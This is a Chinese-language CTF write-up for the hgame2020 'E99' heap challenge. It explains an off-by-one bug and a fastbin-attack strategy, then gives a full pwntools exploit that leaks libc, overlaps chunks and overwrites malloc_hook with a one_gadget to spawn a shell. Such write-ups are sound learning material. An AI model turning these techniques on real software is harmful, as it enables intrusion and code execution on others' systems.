hgame2020 week3 pwn E99
嘉木口中不难的一道堆题.
0x0 源代码分析
checksec一下
拖进ida里面看一下.
add函数这里读入size和content, size计入到sizelist中.
Dele函数也是将list和sizelist都清空了.
Edit这里也不是再重新读入一个size, 而是用原来sizelist中的值作为读入的值.
show函数这里还是可以利用unsorted bin中的chunk的fd和libcbase有关来获得libcbase.
这道题乍一看没有什么漏洞.
漏洞出来read_n函数中.
这里有off by one漏洞.
0x1 漏洞利用.
off by one然后利用fastbin atk.
fastbin
fastbin可以看做是small bin的一个cache.
fastbin在32位下处理小于64b的chunk分配请求, 64位下处理小于128b的.
fastbin是一个单向链表, 满足LIFO原则, fastbin上的chunk的P位都为1.
注意一点, 当申请的内存大小为0x88的时候, 分配的chunk的大小为0x90, 这时候下一个chunk的prevsize这0x8的内存是被占用了的.
所以当我们malloc(0x88), malloc(0x78), malloc(0x68), 然后content输入’a’ * 0x88 + ‘\xf1’, 这时候其实是后一个chunk的size被修改成了0xf0(1是标志位), 这样的话, 我们malloc一个(0xd8)大小的chunk, 会分配到刚才free掉的两个chunk上, 当我们再次malloc(0x68)的时候, 得到的是我们刚才malloc(0x68)的地址.
这种做法个人理解是因为没有uaf漏洞, 所以overlap, 覆盖0x68chunk的fd.
exp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63from pwn import *
sh = process('./E99')
gdb.attach(sh)
context.log_level = 'debug'
list_addr = 0x202040
one_gadget = 0xf1147
def Write(Until, Text, end = '\n'):
sh.recvuntil(Until)
sh.send(Text + end)
def Add(Size, Text):
Write(':', '1')
Write('size?\n', str(Size))
Write('content:', Text)
def Dele(Id):
Write(':', '2')
Write('index?\n', str(Id))
def Show(Id):
Write(':', '3')
Write('index?\n', str(Id))
def Edit(Id, Text):
Write(':', '4')
Write('index?\n', str(Id))
Write('content:', Text)
Add(0x88, 'a')
Add(0x88, 'b')
Add(0x78, 'c')
Add(0x68, 'd')
Dele(0)
Add(0x88, '')
Show(0)
sh.recvuntil('content:')
libcbase = u64(sh.recv(6).ljust(8, '\x00')) - 0x3c4b0a
log.success('libcbase: ' + hex(libcbase))
malloc_hook = libcbase + 0x3c4b10
system_addr = libcbase + 0x45390
# Edit #1
Write(':', '4')
Write('index?\n', str(1))
Write('content:', '\x00' * 0x88, end = '\xf1') # change next size
Dele(2)
Dele(3)
Add(0xd8, '\x00' * 0x78 + p64(0x71) + p64(malloc_hook - 0x23)) # overlap
Add(0x68, 'a')
Add(0x68, 'a' * 0x13 + p64(libcbase + one_gadget))
Write(':', '1')
Write('size?\n', str(1))
sh.interactive()